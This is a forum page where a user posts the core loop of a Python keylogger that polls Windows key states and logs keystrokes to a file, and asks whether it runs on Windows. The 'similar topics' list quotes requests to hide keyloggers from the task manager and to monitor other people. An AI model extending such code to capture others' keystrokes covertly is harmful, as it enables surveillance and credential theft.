473,394 Members | 1,810 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,394 software developers and data experts.

Keylogger in Python

Hello, I was wondering about events and that kind of things, so I decided to do a program that would listen to my keystrokes.
The (core) code is the following:
Expand|Select|Wrap|Line Numbers
  1. while 1:
  2.     keyAscii = 0
  3.     for i in range(32, 256):
  4.         key_log = win32api.GetAsyncKeyState(i)
  5.         if key_log == -32767:
  6.             print i
  7.             key_end = 81
  8.             keylog_file.write(chr(i))
  9.             if i == key_end:
  10.                 keylog_file.close()
  11.                 keyin = open("cv","r")
Where cv is the file
I made this with a lot of help of google, but as I use linux, i don't know if this would work in windows.
Will it?
Won't it?
Whay?

Thank you very much
Dec 8 '10 #1
0 1435

Sign in to post your reply or Sign up for a free account.

Similar topics

0
by: Kevin | last post by:
i'd like to create a KeyLogger that saves to a file, the keystrokes and the program/window changes, that a user does. i wanted to know if there's a better way to do this than using a timer and the...
12
by: Jay | last post by:
ok, i thought for 2 seconds i might have created a Keylogger in python but i still have one major think stopping me... PYTHON. when i run the program i have python create a file named keylog2.log...
2
by: Du Dang | last post by:
i wanna use keys combo to show and hide my app could someone show me how to capture global key strokes ??? essentially it behave like a keylogger program, but it not :-) thanks
11
by: CodeLeon | last post by:
Hi. I would like to create a keylogger, are there any good tutorials? Also, more importantly, how do i hide this process from the task manager? NO, i am not a virus writer, so PLEASE no messages...
2
by: JC | last post by:
I'm looking for help creating a keylogger program.It doesn't have to be hidden because I want to allow people access to what they have written. Can anyone help me with this or send me tutorials or...
10
by: Apolakkiatis | last post by:
Does anyone have a tutorial they could give me or post on how to make a keylogger to monitor my computer because my brother also uses it.... i dont want just the code for one, i want to understand...
3
by: NickNeedsHelp | last post by:
Hey, my name's Nick, and I seriously need some help. One of my friends has been dating his girlfriend for coming up 2 years now, and recently there's been way too many rumours around school she's...
4
by: pavanip | last post by:
Hi friends, I am developing one application like Anti spyware.how to get those spyware dlls present in our registry or our system.And what is adware,Trojans, Malware, Keylogger.how to find...
0
by: BobLewiston | last post by:
A day or two ago AVAST! AntiVirus warned me I was attempting to access a dangerous website. (I don't remember what website it was.) I took the warning and didn't access the website. Later I did a...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.